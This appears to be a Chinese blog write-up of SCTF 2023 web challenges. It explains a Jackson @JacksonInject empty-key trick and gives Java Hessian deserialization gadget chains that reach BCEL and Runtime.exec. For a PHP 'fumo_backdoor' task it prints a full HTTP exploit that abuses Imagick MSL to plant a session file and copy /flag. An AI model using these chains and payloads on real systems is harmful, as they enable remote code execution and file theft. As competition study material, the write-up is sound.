跳转至

SCTF 2023

Hellojava

Jackson trick

Jackson 的 ObjectMapper.readValue 可以从 Json 数据里反序列化出一个对象,也是 Spring 的默认 Json 解析器。

一个 Bean 对象的例子。

public class MyBean {
    private Boolean IfInput;
    private String Base64Code;

    @JsonCreator
    public MyBean(@JsonProperty("Base64Code") String Base64Code, @JacksonInject Boolean IfInput) {
        this.Base64Code = Base64Code;
        this.IfInput = IfInput;
    }

    public Boolean getIfInput() {
        return this.IfInput;
    }

    public void setIfInput(Boolean ifInput) {
        this.IfInput = ifInput;
    }

    public String getBase64Code() {
        return this.Base64Code;
    }

    public void setBase64Code(String base64Code) {
        this.Base64Code = base64Code;
    }
}

public static void main(String[] args) throws IOException {
    ObjectMapper mapper = new ObjectMapper();
    TestBean user = mapper.readValue("{\"Base64Code\": \"SilentE\", \"\": true}", TestBean.class);
    System.out.println(user);
}

跟进源码可以发现在 _deserializeUsingPropertyBased 方法中,对于 property 即属性有四种处理方法:

  • Object Id property
  • creator property
  • regular property
  • any property

其中比较重要的便是 creator property 和 regular property。前者解析 @JsonCreator 这一个注解方法来拿到一些校验属性,后者通过 bean 的 setter 方法来进行反射调用。

对于 creator property 来说,它会调用 creator.findCreatorProperty(propName) 去读取 creator 里的 prop,这里是通过 field name 的 value 来做的索引。

如果直接使用 {"Base64Code": "foobar","IfInput": true},可以发现它会报错。这是因为对于 @JacksonInject 标注的属性默认情况下其 field name 的 value 被设置成了空字符串,而在 json token 中无法在 _propertyLookup 中拿到相对应的键对值,因此在后续流程中,导致了会在解析完后 build 的时候走到 _findMissing 流程,然后由于没有 injectableValues 而报错。

这里的 trick 便是对于空字符串的利用。通过 @JacksonInject,可以在_propertyLookup 中存入一个 "",然后使用 {"Base64Code": "SilentE","": true} 便能把参数给带进去:

当然这种 trick 也只适用于 creator 中只有一个 @JacksonInject 注解的,如果有多个注解,那么 "" 的索引位置只会是一个,一样会走到 _findMissing

这个 injectableValues 是多久注入的呢?可以去跟进在解析 json 主体之前的加载 Deserializer。在 BeanDeserializerFactory.buildBeanDeserializer 中可以找到:

BeanDeserializerBuilder builder = constructBeanDeserializerBuilder(ctxt, beanDesc);  
builder.setValueInstantiator(valueInstantiator);  
// And then setters for deserializing from JSON Object  
addBeanProps(ctxt, beanDesc, builder);  
addObjectIdReader(ctxt, beanDesc, builder);  

// managed/back reference fields/setters need special handling... first part  
addBackReferenceProperties(ctxt, beanDesc, builder);  
addInjectables(ctxt, beanDesc, builder);

不过在一般的题目里,Bean 显然是不可控的,所以这里无法有效利用。

这部分的更多参考:https://paper.seebug.org/1481/

CVE-2022-36944

scala 不是很熟,简单跟着看了看,意思就是说在 < 2.13.9 的版本中 LazyList 会在 lazyState 这里触发 Function0 调用。

最后跟进是在这里:

https://github.com/scala/scala/pull/10118

这个 CVE 的效果是在 readObject 的时候可以调用任意 Function0 实例。不过远程环境是 Function1。这里我感到有点疑惑,看了 Nu1L 的 WP 后感觉跟 cve 关系不大..? 在 LazyList 中 map 加入一个函数,那么由于懒加载的特性,显然只会在真正访问的时候才能触发emmm,当 map 里填入箭头函数的时候,在最新版本 (2.13.11)也能够触发,只是不太清楚远程环境中的函数是怎么进行调用的。

预期的话是通过这个 myfun 调用 sayhello 从而读取文件进行 hessian 反序列化,因为有个写路由,所以文件内容完全可控的。

Deserialize

hessian 这里可以直接用 0ctf 那题的思路。 首先是异常处理触发 toString:

public static byte[] hessian2SerializeThrowExpectToString(Object object) throws Exception {
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
    NoWriteReplaceSerializerFactory factory = new NoWriteReplaceSerializerFactory();
    factory.setAllowNonSerializable(true);
    out.setSerializerFactory(factory);
    out.writeString("aaa");
    out.writeObject(object);
    out.flushBuffer();
    return byteArrayOutputStream.toByteArray();
}

这里要使用 y4 师傅的方法把序列化给重写一下。

然后前面文章里随便加条链子拼上去就行,比如 PKCS9Attributes+SwingLazyValue+JavaWrapper._mian

// PKCS9Attributes.toString -> UIDefaults(Hashtable).get -> SwingLazyValue.createValue -> [sink] BCEL Code
PKCS9Attributes s = ReflectUtils.createWithoutConstructor(PKCS9Attributes.class);  
UIDefaults uiDefaults = new UIDefaults();  
String payload = SBCEL.getBCELCode(clz);  
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{payload}}));  
ReflectUtils.setFieldValue(s, "attributes", uiDefaults);  
return s;

或者改成触发 sun.reflect.misc.MethodUtil

Method invokeMethod = Class.forName("sun.reflect.misc.MethodUtil").getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
Method exec = Class.forName("java.lang.Runtime").getDeclaredMethod("exec", String.class);
byte[] code = staticInvoke(
        "sun.reflect.misc.MethodUtil",
        "invoke",
        new Object[]{invokeMethod, new Object(), new Object[]{exec, Runtime.getRuntime(), new Object[]{"calc"}}}
);

具体的代码在 Javashark 上。不过对于调用函数那个地方还是没有解决。

对于这道题来说,看了看其他队的 WP,Nu1L 是预期解,绕过 MyBean 然后 scalc lazylist 调用 myFun 触发 hessian 反序列化。

WM 是非预期,直接用的 deserialize2ToString -> toString2Getter -> getEvilTemplates 这个链子的思路。

还看到有几篇 wp 说的是用 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3 去把黑名单给置空,然后再打,这里应该不太对,题目本身的 security/blacklist.txt 是打包的资源文件,远程能打是因为出题人在官方 WP 中说到了远程环境其实没有黑名单和 rasp。

fumo_backdoor

给出了题目源码:

<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
    public $path = null;
    public $argv = null;
    public $func = null;
    public $class = null;

    public function __sleep() {
        if (
            file_exists($this->path) && 
            preg_match_all('/[flag]/m', $this->path) === 0
        ) {
            readfile($this->path);
        }
    }

    public function __wakeup() {
        $func = $this->func;
        if (
            is_string($func) && 
            in_array($func, FUNC_LIST["internal"])
        ) {
            call_user_func($func);
        } else {
            $argv = $this->argv;
            $class = $this->class;

            new $class($argv);
        }
    }
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
    case 'unserialze':
        unserialize($data);
        break;

    case 'rm':
        system("rm -rf /tmp 2>/dev/null");
        break;

    default:
        highlight_file(__FILE__);
        break;
}

__wakeup 这里有个 call_user_func 无参调用,同时有个 new $class($argv)。在 __sleep 这个地方有 readfile ,不过有个 preg_match_all('/[flag]/m', $this->path)

这题主要是对于 new $a($b) 的利用,可以看这篇文章来简单了解,对于这道题来说,便需要通过 Imagick 这个类通过写入 session 然后再调用 session_start 触发序列化。

感觉这道题的难点在于找到一个能够利用的格式,这里直接看 WP 里提到的了 QwQ,整理一下有以下 poc:

POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22114514%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1
Host: 10.21.137.180:18080
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=------------------------SilentE
Content-Length: 814

--------------------------SilentE
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<group>
<image id="create_sess">
 <read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU2lsZW50RXxPOjEzOiJmdW1vX2JhY2tkb29yIjo0OntzOjQ6InBhdGgiO3M6NzoiL3RtcC9zZSI7czo0OiJhcmd2IjtOO3M6NDoiZnVuYyI7TjtzOjU6ImNsYXNzIjtOO30=" />
 <write filename="/tmp/sess_se" />
</image>
<image id="move_flag">
<read filename="mvg:/flag" />
<write filename="/tmp/se" />
</image>
</group>
--------------------------SilentE--

模仿前面文章提到的,可以使用 vid:msl:/tmp/php* 让他以 msl 格式去读临时文件解析。 首先是 mvg 格式,这个格式没有对头有啥限制,可以直接读文件然后写,这里可以把 /flag 文件写入 /tmp/se,方便后续利用。 然后是 ppm 格式,具体格式解析可以看这篇文章

看懂后可以知道这个格式只需要满足后面填充的字符是 9*9*3=243 个就行。

这样就可以写入能被 php 正确序列化的 sess 文件。

然后再用 session_start 触发一次 session 序列化就行:

序列化代码:

$data = new fumo_backdoor();  

// Step 1  
//$data->argv = "vid:msl:/tmp/php*";  
//$data->class = "Imagick";  
//$data->func = "114514";  

// Step 2  
//$data->func = "phpinfo";  

// Step 3  
//$data->path = "/tmp/se";  

// Step 4  
$data->func = "session_start";  

//echo serialize($data);  
echo urlencode(serialize($data));

除此之外,看 WP 还提到了 RGB,uyvy 等格式,开摆了。


最后更新: June 24, 2023 16:07:33
创建日期: June 24, 2023 16:07:33

评论